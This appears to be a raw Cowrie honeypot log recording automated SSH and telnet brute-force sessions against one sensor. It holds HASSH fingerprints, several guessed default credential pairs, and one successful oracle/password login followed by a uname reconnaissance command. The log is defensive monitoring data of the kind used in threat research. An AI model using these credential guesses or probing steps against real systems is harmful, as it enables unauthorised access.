{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:42.549238Z","src_ip":"45.156.87.204","session":"578919fd15ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.87689161300659,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:42.622683Z","src_ip":"152.42.224.71","session":"011915963267","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:42.902377Z","src_ip":"45.156.87.204","session":"578919fd15ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":55054,"dst_ip":"159.203.135.109","dst_port":22,"session":"657610ed4758","protocol":"ssh","message":"New connection: 42.200.78.78:55054 (159.203.135.109:22) [session: 657610ed4758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:43.512694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:43.517303Z","src_ip":"42.200.78.78","session":"657610ed4758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:43.736470Z","src_ip":"42.200.78.78","session":"657610ed4758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:43.985885Z","src_ip":"45.156.87.204","session":"578919fd15ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2023@","message":"login attempt [root/Server2023@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:44.645640Z","src_ip":"42.200.78.78","session":"657610ed4758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:45.868328Z","src_ip":"42.200.78.78","session":"657610ed4758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44116,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3d503bbcad7","protocol":"ssh","message":"New connection: 45.156.87.204:44116 (159.203.135.109:22) [session: e3d503bbcad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:46.100467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:46.105997Z","src_ip":"45.156.87.204","session":"e3d503bbcad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:46.184561Z","src_ip":"45.156.87.204","session":"e3d503bbcad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:46.503398Z","src_ip":"45.156.87.204","session":"e3d503bbcad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:47.775008Z","src_ip":"45.156.87.204","session":"e3d503bbcad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46510,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f9da18f33e4","protocol":"telnet","message":"New connection: 152.42.224.71:46510 (10.17.0.5:23) [session: 7f9da18f33e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:48.050542Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44144,"dst_ip":"159.203.135.109","dst_port":22,"session":"00a5158fae8f","protocol":"ssh","message":"New connection: 45.156.87.204:44144 (159.203.135.109:22) [session: 00a5158fae8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:49.684102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:49.689119Z","src_ip":"45.156.87.204","session":"00a5158fae8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:49.771418Z","src_ip":"45.156.87.204","session":"00a5158fae8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:50.237214Z","src_ip":"45.156.87.204","session":"00a5158fae8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:51.322477Z","src_ip":"45.156.87.204","session":"00a5158fae8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":60466,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c681a116749","protocol":"ssh","message":"New connection: 124.155.125.131:60466 (159.203.135.109:22) [session: 6c681a116749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:53.186617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:53.191787Z","src_ip":"124.155.125.131","session":"6c681a116749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:53.368877Z","src_ip":"124.155.125.131","session":"6c681a116749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37478,"dst_ip":"159.203.135.109","dst_port":22,"session":"76f3449b58cc","protocol":"ssh","message":"New connection: 45.156.87.204:37478 (159.203.135.109:22) [session: 76f3449b58cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:53.542598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:53.547131Z","src_ip":"45.156.87.204","session":"76f3449b58cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:53.628706Z","src_ip":"45.156.87.204","session":"76f3449b58cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:53.874932Z","src_ip":"45.156.87.204","session":"76f3449b58cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mike","password":"123456","message":"login attempt [mike/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:54.095138Z","src_ip":"124.155.125.131","session":"6c681a116749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46520,"dst_ip":"10.17.0.5","dst_port":23,"session":"8634b223c06f","protocol":"telnet","message":"New connection: 152.42.224.71:46520 (10.17.0.5:23) [session: 8634b223c06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:54.572534Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:54.958507Z","src_ip":"45.156.87.204","session":"76f3449b58cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:55.270636Z","src_ip":"124.155.125.131","session":"6c681a116749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37492,"dst_ip":"159.203.135.109","dst_port":22,"session":"361f6b3c8bb8","protocol":"ssh","message":"New connection: 45.156.87.204:37492 (159.203.135.109:22) [session: 361f6b3c8bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:57.216540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:57.223351Z","src_ip":"45.156.87.204","session":"361f6b3c8bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:57.305329Z","src_ip":"45.156.87.204","session":"361f6b3c8bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:57.551917Z","src_ip":"45.156.87.204","session":"361f6b3c8bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:58.674588Z","src_ip":"45.156.87.204","session":"361f6b3c8bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36802,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5942a23e800","protocol":"telnet","message":"New connection: 152.42.224.71:36802 (10.17.0.5:23) [session: e5942a23e800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:00.072174Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37504,"dst_ip":"159.203.135.109","dst_port":22,"session":"e180401a9031","protocol":"ssh","message":"New connection: 45.156.87.204:37504 (159.203.135.109:22) [session: e180401a9031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:00.738011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:00.742763Z","src_ip":"45.156.87.204","session":"e180401a9031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:00.985278Z","src_ip":"45.156.87.204","session":"e180401a9031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.701318979263306,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:01.295796Z","src_ip":"152.42.224.71","session":"394c6b26f6a4","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:01.325778Z","src_ip":"45.156.87.204","session":"e180401a9031","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:01.550674Z","src_ip":"45.156.87.204","session":"e180401a9031","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:01.555084Z","src_ip":"45.156.87.204","session":"e180401a9031","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:01.642882Z","src_ip":"45.156.87.204","session":"e180401a9031","protocol":"ssh"}
